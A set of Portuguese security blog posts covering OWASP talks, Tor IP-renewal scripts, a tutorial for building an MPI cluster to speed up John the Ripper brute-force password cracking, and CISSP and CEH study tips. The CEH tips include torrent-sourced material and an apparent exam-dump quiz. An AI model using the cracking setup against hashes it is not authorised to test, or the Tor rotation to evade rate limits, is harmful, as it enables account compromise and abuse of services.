A segunda palestra que apresentamos foi o “OWASP – Top Ten”, palestra que o Eth0 vem apresentando a bastante tempo e  impotante referenciar aqui que esta mesma palestra foi apresentda por Leonardo Cavallari e Marcos Aurélio Rodrigues no FISL 9 e está disponível para download no site da OWASP, e se alguém se interessar o paper do Top Ten 2007 que foi traduzido para o português pelo pessoal da OWASP-BR pode baixá-lo aqui.

Para quem não estava no evento e é da região (Brasí­lia – DF) estaremos nesta terça-feira a partir das 19:00h na FACITEC apresentando a palestra “OWASP – Top Ten” e no próximo sábado em Goiânia no evento IT Meeting com a palestra “Open Web Aplication Security Project – OWASP” falando tudo sobre o maior projeto de segurança do mundo. :)

Agradeço a todos que compareceram, e aos que comparecerão nos vemos em breve!

Enjoy! ;)

No dia 21/10/2008 estive na Universidade UNISABER apresentando na Semana Acadêmica a palestra “SQL Injection Attacks” a mesma pode ser baixada aqui.

Ah ! Claro não podia esquecer de anexar neste post os CLÁSSICOS videos apresentados para analogia com SQL Injection / Validação de Entrada de Dados.

Para quem não conhece ainda, segue abaixo os videos de “COMENTARISTA INJECTION“.

Obrigado a TODOS que compareceram, participaram e organizaram o evento.

Enjoy! ;)

Simplesmente não teve jeito, foi AMOR ao primeiro script!

Já havia lido um pouco sobre Python, mas não tinha tentado escrever algo, a linguagem é muito fácil de aprender recomendo a todos que não conhecem perder algumas horas brincando… a documentação é excelente e vasta!

Recomendo ler também os artigos publicados pela IBM, mais especificamente “Python for system administrators” e outro para quem se interessa em brincar com sockets “Sockets programming in Python”, existem muitos outros artigos no site sobre Python, vale a pena conferir! ;)

Não posso deixar de comentar neste post que é imprescindível o conhecimento nesta linguagem para pessoas que tem segurança como hobbie ou profissão, as vantagens que ela traz são absurdas principalmente para automatizar tarefas em testes de intrusão, a soma de Python + Google Hacking para levantamento de informações como dizia minha Vó: “É do pirú”. (não me pergunte pq ela dizia isso, não sei explicar, mas acho q siginifica algo como “PQP muito FODA”)

Nesta última semana dei uma boa mergulhada nos estudos e aprendi algumas coisas, e claro já quero compartilhar! :)

Segue dois scriptzinhos que fiz para facilitar um pouco a vida de quem gosta de usar TOR:

Neste abaixo criei para checar meu IP externo (sim sou preguiçoso e não gosto de entrar no site pra ver meu IP):

$ cat checkip.py

---------

---------

No script abaixo, criei para forçar um “renew identity” lançando informações direto dentro do socket do TOR que fica aguardando por requisições no localhost porta 9051.

$ cat renew-tor.py

--------- 

---------

* Sim, sim… guardar senhas em texto puro não faz bem pra saúde, mas não tive paciência em criar um esquema de cookie criptografado pra utilizar com o TOR. Quem fizer manda ae! :)

Quem quiser tornar automático a renovação de IP basta executar o comando abaixo, que a cada 3 minutos seu IP do TOR será renovado. Isso é util pra quem usa aquelas p*** de serviço de download que limita por IP… e também pra mais uma série de outras infinidades né? ;P

$ echo "3 * * * * /home/usuario/scripts/renew-tor.py" | crontab

* Não se esqueça de ajustar o caminho correto para o script! 

Para quem se interessar em como interagir com o TOR enviando sinais diratamente no socket recomendo a leitura das especificações do mesmo.

Estes são meus primeiros scripts escritos em Python e espero ser útil para mais alguém. Convoco aqui os Masters Python Developers (meus mestres, Rafa e Miguel para dar pitacos e corrigir meus erros de programação).

NOTA: Não me responsabilizo por qualquer reação que o Python venha causar no indivíduo que começar a programar de verdade nesta linguagem… há boatos que quem começa a programar em Python acaba virando preguiçoso uns até dizem que acaba emburrecendo e largando outras linguagens.  :-o  (eu amo C também e to pagando pra ver!)

É isso ae… Enjoy!

Há bastante tempo venho estudando uma forma de aumentar a diversidade de formatos(hashs) suportados, e também a potência e velocidade das minhas auditorias locais em arquivos de senha utilizando força bruta.

O bom e velho John The Ripper (versão open source) em algumas situações deixa a desejar, pois os únicos formatos de hash que consegue testar são DES/BSDI/MD5/BF/AFS/LM, em determinadas situações quando preciso avaliar senhas do MySQL, ORACLE, MSSQL, MD5(apache) por exemplo, acabava ficando sem alternativa.

Depois de algumas pesquisas e estudos no Oráculo, vi que algumas pessoas também sentiram a mesma necessidade e criaram projetos que potencializam o John The Ripper, criaram patches para aumentar a diversidade de formatos suportados e também suporte à processamento paralelo. (HPC)

Analisando o projeto criado por Ryan Lim, que atualmente é atualizado e mantido por John Anderson traz excelentes possibilidades, dentre elas aumento do número de formatos(37) suportados pelo John e outro que traz suporte ao processamento paralelo utilizando bibliotecas MPI.

Abaixo demonstro como criar em poucos passos um cluster com Debian (Lenny) utilizando MPICH2 para processamento paralelo e como instalar/utilizar o John The Ripper *BOMBADO* neste ambiente.

Para construção do lab utilizei dois desktops que tenho em casa, mas isso pode/deve ser ampliado para quantas máquinas você quiser/puder, quanto mais máquinas conseguir melhor, pois o processamento aumenta e por consequência a velocidade para quebrar uma senha em um teste de força bruta aumentará.

Para esclarescer rapidamente o que é um cluster recomendo a leitura rápida no wikipedia e se quiser aprofundar pra valer no assunto sobre custer e processamento paralelo recomendo a leitura do Guia de Cluster escrito pelo meu amigo Mussi que é um excelente material e referência em português.

CONSTRUINDO O CLUSTER

Instale nas duas máquinas o Debian Lenny padrão, sem ambiente gráfico o ambiente deve ficar assim:

DESKTOP 1:

IP: 192.168.1.100

NOME: master

DESKTOP 2:

IP: 192.168.1.101

NOME: node01

Configure o arquivo /etc/hosts nas máquinas, os arquivos devem ficaram exatamente assim:

127.0.0.1 localhost
#127.0.1.1 master.localdomain master
192.168.1.100 master.localdomain master
192.168.1.101 node01.localdomain node01

ATENÇÃO: Na segunda linha comentei o endereço 127.0.1.1 para evitar problemas com o MPICH2, o mesmo deve ser feito em todos os nós.

Neste tutorial abordo uma forma rápida e prática de criar cluster em casa/laboratório com poucos computadores, se for utilizar muitas máquinas fica inviável editar /etc/hosts de cada uma, soluções utilizando BIND + DHCP podem ser vista no projeto Debian Clusters.

Adicione nas máquinas o usuário/grupo que será utilizado por todos os hosts, lembre-se que o usuário deve ter o mesmo uid e gid em todas as máquinas.

# groupadd --gid 1100 mpigroup
# adduser --home /cluster --uid 1100 --gid 1100 mpiuser

Como estou utilizando poucos computadores adicionar os usuários na mão não é problema, se for criar um cluster em diversas máquinas e também utilizado por diversos usuários recomendo que utilize um servidor de autenticação centralizado (OpenLDAP), no projeto Debian Clusters você encontra tutoriais de como fazer.

No MASTER instale pacotes necessários:

master:~# aptitude install nfs-kernel-server

Compartilhe o diretório /cluster para toda rede. Não vou abordar métodos de hardening. O ambiente que estou criando está em uma “rede confiável”, neste caso minha lan dentro de casa.

master:~# echo "/cluster *(rw,sync,no_subtree_check)" >> /etc/exports

Reinicie o servico:

master:~# invoke-rc.d nfs-kernel-server restart

Será construído todo o ambiente do cluster/JtR dentro deste diretório, que ficará disponível para qualquer NÓ montá-lo.

Monte o diretório /cluster em TODOS os NÓS da rede:

# mount master:/cluster /cluster

Caso queira, acrescente no /etc/fstab a entrada abaixo nos NÓS para montararem automaticamente a cada boot:

master:/custer /cluster nfs defaults 0 0

Em todas as máquinas instale e prepare o SSH com chaves trocadas para acesso sem senha entre o MASTER e os NÓS:

# aptitude install openssh-server

No MASTER, com o usuário mpiuser crie a chave e acicione-a no authorized_keys:

master:~# su - mpiuser

Gere a chave, deixe a passphrase em branco (ENTER):

mpiuser@master:~$ ssh-keygen -t dsa

Adicione a chave gerada ao arquivo authorized_keys:

mpiuser@master:~$ cd .ssh
mpiuser@master:~/.ssh$ cat id_dsa.pub >> authorized_keys

Assim não será necessário executar este comando em todos os NÓS, pois os mesmos irão montar o diretório /cluster.
Para testar, execute algum comando via ssh no NÓ remoto e verifique se a senha será solicitada:

mpiuser@master:~$ ssh node01 hostname

NÓ configurado, MASTER configurado agora é preciso instalar o MPICH2.

INSTALAÇÃO MPICH2

Instale dependências necessárias para compilação:

master:~# aptidude install build-essential

MPICH2 da suporte a diversos outros tipos de compiladores e S.O.’s, para maiores informações consulte o site do projeto.

Baixe o source do MPICH2, que na data da criação deste documento a versão estável é a 1.0.7, descompacte, configure, compile e instale:

mpiuser@master:~$ mkdir src
mpiuser@master:~$ mkdir mpich2
mpiuser@master:~$ cd src
mpiuser@master:~/src$ wget http://www.mcs.anl.gov/research/projects/mpich2/downloads/tarballs/1.0.7/mpich2-1.0.7.tar.gz
mpiuser@master:~/src$ tar xvzf mpich2-1.0.7.tar.gz
mpiuser@master:~/src$ cd mpich2-1.0.7
mpiuser@master:~/src$ ./configure --prefix=/cluster/mpich2
mpiuser@master:~/src$ make
mpiuser@master:~/src$ make install

Acrescente ao /cluster/.bashrc um PATH com o caminho para os binários/bibliotecas do MPICH2:

mpiuser@master:~$ echo "export PATH=/cluster/mpich2/bin:$PATH" >> ~/.bashrc

mpiuser@master:~$ echo “LD_LIBRARY_PATH=/cluster/mpich2/lib:$LD_LIBRARY_PATH” >> ~/.bashrc

mpiuser@master:~$ echo “export PATH LD_LIBRARY_PATH” >> ~/.bashrc

Recarregue o .bashrc e verifique se os seguintes utilitários estão disponíveis na PATH.

mpiuser@master:~$ source ~/.bashrc
mpiuser@master:~$ which mpiexec mpdboot

É preciso configurar o mpd, que é o principal serviço do cluster. Para isto crie no home do usuário mpiuser o arquivo /cluster/mpd.hosts e acrestente todas as máquinas envolvidas no cluster:

mpiuser@master:~$ vi /cluster/mpd.hosts
node01
master

Um requisito para execução do mpd é ter o arquivo de configuração com senha para sua comunicação:

mpiuser@master:~$ echo "secretword=SENHAFORTE" >> ~/.mpd.conf

Defina permissão para o arquivo:

mpiuser@master:~$ chmod 600 .mpd.conf

E finalmente teste-o, inicie o serviço:

mpiuser@master:~$ mpdboot -n 2 -f ~/mpd.hosts

Fraça um “trace” e verifique se os NÓS respondem:

mpiuser@master:~$ mpdtrace -l

Deve aparecer a mesma lista de servidores que adicionou no arquivo ~/mpd.hosts
Pare o cluster:

mpiuser@master:~$ mpdallexit

Com o cluster configurado e testado vamos a instalação, configuração e uso do John.

INSTALAÇÃO JOHN THE RIPPER COM SUPORTE MPI

No MASTER, instale algumas dependências:

master:~# aptitude install libssl-dev openssl

Baixe o fonte com os patches aplicados do site do John Anderson:

mpiuser@master:~$ wget http://www.bindshell.net/tools/johntheripper/john-1.7.3.1-all-2-mpi8.tar.gz

Descompacte:

mpiuser@master:~$ tar xvzf john-1.7.3.1-all-2-mpi8.tar.gz
mpiuser@master:~$ cd john-1.7.3.1-all-2-mpi8/src

Compile e instale, para isto, no diretório src execute o comando make e aparecerá uma lista com arquiteturas para compilar. No meu caso utilizei a opção linux-x86-any.

mpiuser@master:~/john-1.7.3.1-all-2-mpi8/src$ make linux-x86-any

Terminado a compilação os binários estarão no diretório ~/john-1.7.3.1-all-2-mpi8/run

Agora com o cluster configurado e o John instalado vamos para parte legal. :-)

TESTANDO O AMBIENTE (PoC)

Inicie o cluster:

mpiuser@master:~$ mpdboot -n 2 -f /cluster/mpd.hosts

O comando acima inicia o cluster com algumas opções:
-n 2 – quantidade de nós que vão iniciar
-f – aponta para lista de nós à serem incluidos
Só para confirmar faça um “trace” e veja se todos os NÓS estão funcionando:

mpiuser@master:~$ mpdtrace -l

E finalmente execute o benchmark, para perceber a diferença execute o John sem utilizar o cluster:

$ cd /cluster/john-1.7.3.1-all-2-mpi8/run
$ ./john --test --format=DES

Benchmarking: Traditional DES [24/32 4K]... DONE
Many salts: 202415 c/s real, 224417 c/s virtual
Only one salt: 194281 c/s real, 215630 c/s virtual

Agora utilizando todos os NÓS e processadores:

$ mpiexec -m -n 4 ./john --test --format=DES

Benchmarking: Traditional DES [24/32 4K]... DONE
Many salts: 807070 c/s real, 868429 c/s virtual
Only one salt: 779285 c/s real, 849099 c/s virtual

Deu para perceber a DiFerEnçA? ;-)

Para entender os parâmetros:
-m – suprime o stdout dos outros nós
-n 4 – numero de processadores que vou utilizar no meu caso 4 (ver logo abaixo)

Caso queira fazer um benchmark completo com todas as 37 hashs possíveis… DES, BSDI, MD5, BF, AFS, LM, NT, XSHA, PO, raw-MD5, IPB2, raw-sha1, md5a, hmac-md5, KRB5, bfegg, nsldap, ssha, oracle, MYSQL, mysql-sha1, mscash, lotus5, DOMINOSEC, NETLM, NETNTLM, NETLMv2, NETHALFLM, mssql, mssql05, epi, phps, mysql-fast, pix-md5, sapG, sapB, md5ns

mpiuser@master:~/tools/john-1.7.3.1-all-2-mpi8/run$ ./john --test

ou utilizando o cluster:

mpiuser@master:~/tools/john-1.7.3.1-all-2-mpi8/run$ mpiexec -m -n 4 ./john --test

ATENÇÃO: Os benchmarks acima apresentados foram executados com os seguintes processadores:

DESKTOP 1 (master):

mpiuser@master:~$ cat /proc/cpuinfo
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 15
model name      : Intel(R) Core(TM)2 Duo CPU     E6750  @ 2.66GHz
stepping        : 11
cpu MHz         : 2666.714
cache size      : 4096 KB

processor       : 1
vendor_id       : GenuineIntel
cpu family      : 6
model           : 15
model name      : Intel(R) Core(TM)2 Duo CPU     E6750  @ 2.66GHz
stepping        : 11
cpu MHz         : 2666.714
cache size      : 4096 KB

DESKTOP 2 (node01):

mpiuser@node01:~$ cat /proc/cpuinfo
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 15
model name      : Intel(R) Core(TM)2 CPU         T7200  @ 2.00GHz
stepping        : 6
cpu MHz         : 1995.239
cache size      : 4096 KB

processor       : 1
vendor_id       : GenuineIntel
cpu family      : 6
model           : 15
model name      : Intel(R) Core(TM)2 CPU         T7200  @ 2.00GHz
stepping        : 6
cpu MHz         : 1995.239
cache size      : 4096 KB

Recomendo fazer os testes com um terminal aberto visualizando os processadores com o famoso top ou no modo gráfico com o gnome-system-monitor para maiores emoções. ;P

Utilizando cluster é possível ampliar os recursos utilizados por uma determnada aplicação, neste tutorial utilizei o John pois meu objetivo era específico, poderia ser qualquer outro tipo de aplicação que estivesse preparada para utilizar as bibliotecas MPI.

Importante frisar que não existe somente o MPICH2 de opção para processamento paralelo, alguns outros projetos e suas diferenças você encontra aqui.

Conforme demonstrado, após a criação do MASTER, para adicionar NÓS ao cluster é muito simples, pode ser feito inclusive com o uso de um Live CD, bastando inicializar a máquina, adicionar o usuario mpiuser (não esqueça do uid/gid), montar o diretório nfs (/cluster), adicionar os nomes no /etc/hosts e ir pro abraço! :)

Quem criar um cluster em casa/laboratório/trabalho se possível postem seus resultados aqui no blog, quantidade de máquinas, processadores, benchmarks, etc…

Enjoy! ;)

REFERÊNCIAS

http://wiki.lazarus.freepascal.org/MPICH

https://wiki.ubuntu.com/MpichCluster

http://www.mcs.anl.gov/research/projects/mpich2/documentation/index.php?s=docs

http://pt.wikipedia.org/wiki/Sistema_de_processamento_distribuído

Após trocar algumas mensagens e e-mails com Marcelo Ferreira neste post e que as informações que ele comentou considero importantes para quem deseja estudar ou está estudando(como eu) para certificação CISSP, resolvi replicar seu comentário em forma de post. :)

Então tá ae na íntegra:

———————————————————–

Então com relação ao CISSP, é o seguinte:

Entra no site do isc2.org concorda com o código de ética dos caras. Escolhe o local do curso, acho que no brasil a módulo e a etek que estão aplicando esta prova (não direito pq a minha eu não fiz no brasil). Na época o valor da prova era 499 dólares (uma facada). Paga esse valor, dai os caras vão te dar uma numeração que vc vai ter que apresentar no dia da prova. Esta prova não é pelo computador é um puta cadernão parecendo aqueles de 200 folhas :-) afinal são 250 questões e 6 horas de prova que da pra virar o zoinho no final :-). Leva comida no dia e uns chocolates pq da uma fome animal e vc sai de lá meio zureta. Quanto ao método de estudo, o mais ninja que conheço é aquele que vc se interna durante alguns dias só respirando e comendo o material, esquece namorada, esposa, amigos ou seja lá o que for, pois é muita coisa pra estudar. O que eu li basicamente e que é o melhor livro na minha opinião é o da shon harris (deve estar na tereceira ou quarta edição agora) e depois o livro CISSP Passport. Esses são os principais depois vem os complementos entre videos, simulados, etc. Estes você vai encontrar neste site aqui.

O score mínimo é 70% ou 700 pontos e vc só fica sabendo sua pontuação se tomar bomba, se passar eles não divulgam seu score justamente pra não ter esse lance de eu passei com 900 ou eu passei com 701, evitando assim que um fale que é melhor que o outro só pq atingiu mais pontos. Uma vez que passou você pode dar glórias pois é uma prova difícil e bem cansativa além de ser um furo no zóio de cara.

Depois de ter passado na prova a coisa não para por ai, vc só vai receber seu certificado após comprovar 4 anos de experiência em um dos 10 domínios do material que eles apresentam, mandando seu CV mais uma carta da empresa que trabalha ou trabalhou, para comprovar, ou então ser endossado por outro CISSP. Basicamente é isso. Quando chegar seu certificado vai se sentir como se estivesse concluído um curso na NASA :) mas não se preocupe pois isso logo vai passar quando chegar no seu trabalho e ver que ninguém da a mínima pra isso :-) e nem sequer entende o que isso significa :-)

Do ponto de vista satisfação pessoal, será muito bom pois vai verificar mais um desafio cumprido na sua vida. Se quiser encarar depois disso um Cisco CCIE e passar vc se sentirá o próprio Jedi ou mestre dos magos na área de informática pois tendo um CEH, um CISSP e um CCIE meu amigo ninguém poderá falar que não entende de informática, segurança, TCP/IP ou qualquer acrônimo do gênero. Até o Mitinick vai te respeitar :-)

Brincadeiras a parte, desejo boa sorte pra ti e se quiser trocar figurinhas sabe onde me encontrar.

Obrigado pela oportunidade de escrever no seu blog e pelas dicas para prova do CEH. Assim que fizer a prova volto com mais notícias :-)

Um abraço e fiquem com Deus todos vocês,

Marcelo Ferreira

———————————————————–

Marcelão, valeu pela contribuição!

Já deu uma luz aqui pra mim e com certeza vai esclarecer para mais pessoas….

Abaixo a melhor parte, ou seria a pior?  :-)  /  :-(

“(…) Quando chegar seu certificado vai se sentir como se estivesse concluído um curso na NASA :) mas não se preocupe pois isso logo vai passar quando chegar no seu trabalho e ver que ninguém da a mínima pra isso :-) e nem sequer entende o que isso significa :-) (…)“

Paradoxo perfeito: Alegria por ter alcançado um objetivo contra tristeza da ignorância das pessoas por nem sequer terem noção do que é a tal da certificação. Todos que já tiraram algum tipo de certificação com certeza já passou por isso.

É interessante conhecer o ponto de vista que cada um tem em relação à certificações, uns por modismo, outros por desafio, outros por pura pressão do chefe/mercado, de qualquer forma já me expressei um pouco sobre o que acho de certificações neste post e não vou ficar sendo redundante e escrevendo aqui as mesmas coisas. :)

[s] e valeu!

Passei! :)

Hahaha putz, caramba ta virando blog de certificação :(

Calma que logo logo vou dar um jeito nisso. :-)

Para quem não sabe/conhece a Microsoft disponibiliza à bastante tempo alguns cursos pela internet de graça, um deles que me chamou atenção foi o de Segurança (novidade, né?).

No início achei meio bobo, com alguns conceitos bem fraquinhos, mas depois começou a ficar bom e me interessei pelo desafio de ir até o final, o curso não é RECENTE inclusive já é bem velinho, mas o material é excelente.

Meu contato com a norma NBR ISO/IEC 17799:2005 só havia acontecido quando li o livro que meu amigo César Domingos que escreveu com mais alguns feras em segurança, livro que relaciona a norma BS7799 com o Linux e como podemos “normatizá-lo”.

AAAh! Não posso esquecer também quando assisti um curso com meu brother Ub3r l33t h4xor (brincadeiras à parte), Anderson Tamborim que em sua aula à todo momento fazia relação entre a norma, os pilares da segurança da informação e técnicas de intrusão. (faz tempo mas eu lembro! :))

Voltando pro foco (como dizia o Caio). O que eu mais gostei do curso de Segurança da Informação da Academia Microsoft é pela forma que foram aborados todos os tópicos, difícilmente (salve os primeiros módulos) no material você encontra algo técnico ou falando de algum produto Microsoft. O curso explica sobre conceitos de segurança de informação sendo que a segunda parte do curso fala somente sobre a norma NBR ISO/IEC 17799:2005.

Abaixo fiz um Ctrl+C / Ctrl+V dos módulos do curso e seus objetivos, provavelmente vai ficar tudo quebrado no blog mas beleza, é para constar e matar a curiosidade do pessoal que se interessar.

——————————————-

Academia Microsoft Technet de Segurança da Informação

Estágio Básico

Módulo 1 – Introdução à Segurança da Informação
Objetivos:
• Conhecer os conceitos básicos que fundamentam os estudos sobre segurança da informação;
• Conhecer as diferentes categorias de ativos existentes em uma empresa;
• Compreender o conceito de pontos fracos para identificar as possíveis vulnerabilidades e as ameaças existentes nos ativos;
• Interpretar a classificação proposta das possíveis ameaças encontradas nos diferentes processos da empresa;
• Revisar os conceitos de integridade, confidencialidade e disponibilidade da informação;
• Conhecer o conceito de risco e sua implicação no ciclo de segurança das informações da empresa;
• Distinguir a diferença entre aplicar ou não medidas de segurança nos diferentes aspectos de nossa empresa;
• Compreender os conceitos básicos de análise de riscos e política de segurança, dois pontos muito importantes para definir as ações em matéria de segurança aplicáveis às empresas.

Módulo 2 – Conceitos de Análise de Risco
Objetivos:
• Conhecer os conceitos referentes à atividade de análise de riscos, para se ter o fundamento que oferece suporte à administração da segurança da informação;
• Identificar os processos de negócios da organização para distinguir os ativos que os suportam, considerando toda a infra-estrutura tecnológica, organizacional e humana;
• Descrever as ameaças potenciais que podem causar incidentes de segurança;
• Determinar as vulnerabilidades presentes nos ativos para que sejam devidamente corrigidas.

Módulo 3 – A Política de Segurança
Objetivos:
• Conhecer os conceitos básicos de políticas de segurança para poder definir as bases necessárias para sua correta elaboração;
• Identificar o escopo humano, tecnológico e processual no qual se aplicarão essas políticas e, dessa forma, ajudar a cobrir todos os pontos necessários para a segurança da empresa;
• Compreender as exigências básicas e as etapas de produção de uma política de segurança para poder partir de uma base mais sólida para a mesma;
• Definir as diretrizes estratégicas que permitam ilustrar os valores que se deseja definir nas políticas de segurança;
• Conhecer as vantagens da aplicação das políticas de segurança no que diz respeito a seleção de produtos e desenvolvimento de processos.

Módulo 4 – Implantação da Segurança e Plano de Segurança
Objetivos:
• Conhecer a importância do plano de implementação de segurança da empresa para que sua execução seja bem-sucedida em nossa organização;
• Reconhecer, através de exemplos, as diferentes ações em matéria de segurança que possam ser tomadas dentro da empresa com a finalidade de ajudar na seleção dessas ações em nossa organização;
• Interpretar como se estrutura o plano de segurança da organização a partir do conhecimento dos pontos básicos que devem ser incluídos;
• Conhecer as informações a serem incluídas no plano de ação e que, independentemente de seu formato, facilitem sua implantação na empresa.

Estágio Graduação

Módulo 5 – Entendendo e implementando a Norma ABNT NBR ISO/IEC 17799:2005
Objetivos:
• Entender os padrões empregados para a gestão da segurança da informação;
• Entender a evolução destes padrões;
• Descrever os controles contidos na norma ABNT NBR ISO/IEC 17799:2005;
• Conceituar cada controle da norma;
• Através de um estudo de caso, implementar a norma em uma empresa.

Módulo 6 – Entendendo e implementando a Norma ABNT NBR ISO/IEC 17799:2005
Objetivos:
• Entender o que são os ativos de informação;
• Porque eleger um responsável pelos ativos;
• Como classificar a informação;
• Como rotular a informação de forma segura.

Módulo 7 – Entendendo e implementando a Norma ABNT NBR ISO/IEC 17799:2005
Objetivos:
• Estabelecer os procedimentos operacionais que tornam seguro o processamento de recursos da informação;
• Saber a importância da separação de funções e áreas de responsabilidade, bem como de ambientes de desenvolvimento e produção;
• Gerenciar serviços de terceiros;
• Minimizar riscos de falhas em sistemas, através do planejamento de aceitação dos mesmos;
• Proteger softwares contra códigos maliciosos e móveis;
• Implementar estratégias de cópias de segurança;
• Proteger as informações em redes e a infra-estrutura de suporte;
• Proteger e controlar mídias de armazenamento de informações e documentação;
• Gerir a troca de informações e softwares entre organizações.

Módulo 8 – Entendendo e implementando a Norma ABNT NBR ISO/IEC 17799:2005
Objetivos:
• Avaliar os critérios, normas e práticas aplicáveis aos processos de aquisição, desenvolvimento e manutenção;
• Estabelecer parâmetros para a tomada de decisão sobre aquisição, desenvolvimento e manutenção de sistemas de informação;
• Classificar e avaliar fornecedores e produtos de software e sistemas de informação;
• Validar os objetivos e efetivar os controles da norma NBR ISO/IEC 17799:2005 nos processos de aquisição, desenvolvimento e manutenção de sistemas de informação.

——————————————-

Pra quem se interessar pelo desafio ou maiores informações, segue o link.

Um abraço!

Tenho lido bastante sobre o novo browser da Google o Chrome, notícias boas outras ruims, alguns bugs de segurança, etc.. nada muito relevante levando em consideração que tudo que a Google lança é versão Beta. (não que isso seja ruim!)

Mas o fato que mais me chamou atenção até agora foi a estratégia da Google ao criar este novo navegador, acrescentando uma funcionalidade bem diferente em relação aos concorrentes, enquanto alguns fabricantes perdem tempo inventando “FIREWALL” para navegador com filtro Anti-XSS (que em pouco tempo já demonstrou sua fragilidade) o Chrome veio com uma idéia nova e completamente diferente dos outros, com uma arquitetura bem formulada o Chrome promete combater os ataques “client-side” mais comuns e e utilizados no mundo.

Hoje quando navegamos e abrimos uma aba esta está diretamente ligada no único processo do navegador em questão, isto nos traz sérios problemas, além da insegurança e fragilidade, uma das coisas que podemos perceber é que quando uma das abas trava TODO o navegador TRAVA/QUEBRA, e com isso temos que re-abrir-lo.

No Chrome a estratégia aplicada demonstra a seriedade no desenvolvimento em relação à seguraça, cada aba aberta é considerada um NOVO processo, talvez a primeira coisa que vem em mente é:

“Puxa que SUPER!, se uma aba travar não vou perder mais 10 segundos pra re-abrir o navegador, porque somente uma aba irá TRAVAR/QUEBRAR.“

Affff grande coisa certo? Errado! reparem nas possibilidades, se temos processos separados para cada aba logo poderemos utilizar o SE Linux para definir contextos distintos para cada uma delas, o que nos proporciona uma granularidade ABSURDA! Vejamos:

Partindo do ponto que poderíamos ter dois domínios distintos para o Chrome e suas abas vamos chamá-los de chrome_trusted_t e chrome_untrusted_t, e que chrome_trusted_t podería ler/escrever em seu home inteiro por exemplo e que o domínio chrome_untrusted_t podería somente ler/escrever arquivos do diretório ~/chrome_untrusted.

Com isto já podemos imaginar as possibilidades por exemplo navegar com uma aba nas páginas da intranet da sua empresa tranquilamente e em outra aba você poderia navegar pelos sites mais promíscuos do universo sem ter medo, pois são duas abas completamente isoladas e cada uma trancafiada dentro de seu próprio domínio! Será que CSRF, XSS e similares estão com os dias contados?:) Será que CSRF, similares e ataques como este por exemplo, estão com os dias contados? :(

Nada disto está pronto ainda, são apenas algumas possibilidades aqui apontadas partindo do FATO que o Chrome já vem com essa função de abas com processos diferentes implementada!

Alguns GURUS do SE Linux já blogaram sobre essa possibilidde, Russel Cocker (debian/redhat), Dan Walsh(redhat), Joshua Brindle(tresys) comentaram em seus blogs essas semanas sobre esse assunto e eu não poderia deixar de postar algo tão fantástico.

Vamos aguardar!

Maiores informações sobre o Chrome você pode encontrar aqui e aqui no blog do Waaaaaalter Cruz! :-)

Abraços!

Fiquei devendo pra galera maiores informações sobre a certificação CEH e neste post pretendo relatar/fornecer o máximo de informações possíveis sobre esta certificação.

ANTES DE COMEÇAR

As dicas deste post não ficam somente no escopo da CEH, como também algumas boas práticas de auto-estudo para certificações.

Quero esclarecer que este post não é uma receita de bolo e sim um relato de como procurei material, como estudei e como alcancei os 90% da prova.

Quero deixar bem claro que CEH não é a melhor certificação do mundo, e também não é a mais conceituada (isso depende de cada empresa) e que existem outras boas certificações que seguem a mesma linha de raciocínio que é comprovar de alguma forma conhecimento em testes de intrusão (pentest). ex: GPEN[1], OPST[2], OSCP[3], …

Outra coisa importante que gostaria de desabafar aqui é que CERTIFICAÇÕES NÃO VALEM NADA e o que importa é a especialidade que a pessoa tem em determinado assunto e também facilidade/velocidade em aprender qualquer coisa rapidamente, mas infelizmente a maioria das empresas, continuam seguindo modelos totalmente obsoletos para contratar pessoas sem métodos para medir seus conhecimentos, por isso infelizmente ter uma certificação AINDA é “essencial” para comprovar a capacidade. Com certeza esse desabafo aqui daria mais um post gigante, mas o foco hoje é CEH então bora…

PRÉ-REQUISITOS

O pré-requisito da certificação CEH é ter pelo menos 2 anos de experiência comprovada em segurança da informação.

No meu caso, conversei com meu chefe que assinassou uma declaração para comprovar minha experiência e depois do preenchimento de um formulário[4] e o envio ambos por e-mail me retornaram um código que é necessário para completar o formulário do site da VUE[5] para marcar a prova.

O QUE É?

Certified Ethical Hacker é uma certificação oferecida pela International Council of Electronic Commerce Consultants (EC-Council)[6] e o objetivo da certificação é simples, pensar como um cracker para defender-se contra eles.

E é exatamente isto que a certificação cobra, que você saiba como funcionam as ferramentas e os tipos de ataque para saber se defender.

Maiores informações podem ser encontrada no FAQ[7] sobre a certificação.

AUTO-ESTUDO

Existe um curso oferecido pela EC-Council e parceiros mas não existe no Brasil, portanto partir para o auto-estudo foi a solução.

ONDE ENCONTRAR MATERIAL?

Um bom começo é se familiarizar com todas as ferramentas cobradas pela certificação.

Baixei o pdf[8] informativo onde listam todas as ferramentas que serão cobradas, primeiro risquei todas as que eu já conhecia e sobraram somente as desconhecidas, nestas eu encontrei boa parte baixando a distro Backtrack[9] e após estudá-las corri atráz das ferramentas mais obscuras de windows (chatas de encontrar).

Após entender/testar/aprender quase todas as ferramentas, ataquei material para leitura e procurei[10] por um livro chamamdo “CEH – Official Certified Ethical Hacker Review Guide”, é um livro pequeno 250 páginas aproximadamente e o mais bacana é que no próprio livro após cada capítulo existem testes  com questões no mesmo estilo das questões da prova para ir se acostumando. :)

Falando com um amigo disse que havia visto no “underground” do mundo torrent materiais pro CEH (Não vou entrar no mérito de como entrar em comunidades “fechadas” de torrent, onde encontrar, como conseguir invites e etc) procurei e encontrei excelentes materiais em video-aulas sobre CEH.

E nesta altura você deve estar se perguntando “Caraca o cara é reduntante!! Testou as ferramentas, leu o livro e agora vai ver o VIDEO!! Afffffff”

MAAAAAAAAAS, não tem jeito eu sou assim :( quando pego algo que gosto e as vezes até o que não gosto mas sou obrigado, mergulho profundamente e quero saber tuuuudo… claro que existem aqueles que somente lê o livro ou vê o video e se satisfazem com o conhecimento minúsculo vão fazer a prova e passam, particularmente eu prefiro entender e aprender tudo antes de fazer a prova para passar, seguindo os modismos de musiquinhas toscas[11] “Cada um no seu quadrado…”.

NTC – NINJA TEST CENTER

Não podia deixar de citar o NTC!!!!

Um script que desenvolvi para filtar o pdf do Actual Test e transformá-lo em um programa de testes, tá totalmente tosco porque não funciona direito o menu de resultados(porcentagem) e também falta o script para transformar o pdf em texto e fazer os filtros (fiz isto na mão), mas o resto ta legalzinho, eu ia re-escrever todo o código em C pra treinar minhas técnicas ninja em desenvolvimento C mas não consegui tempo para isso e disponibilizo o script e o texto filtrado para CEH para quem quiser baixar, alterar mandar patches, etc..

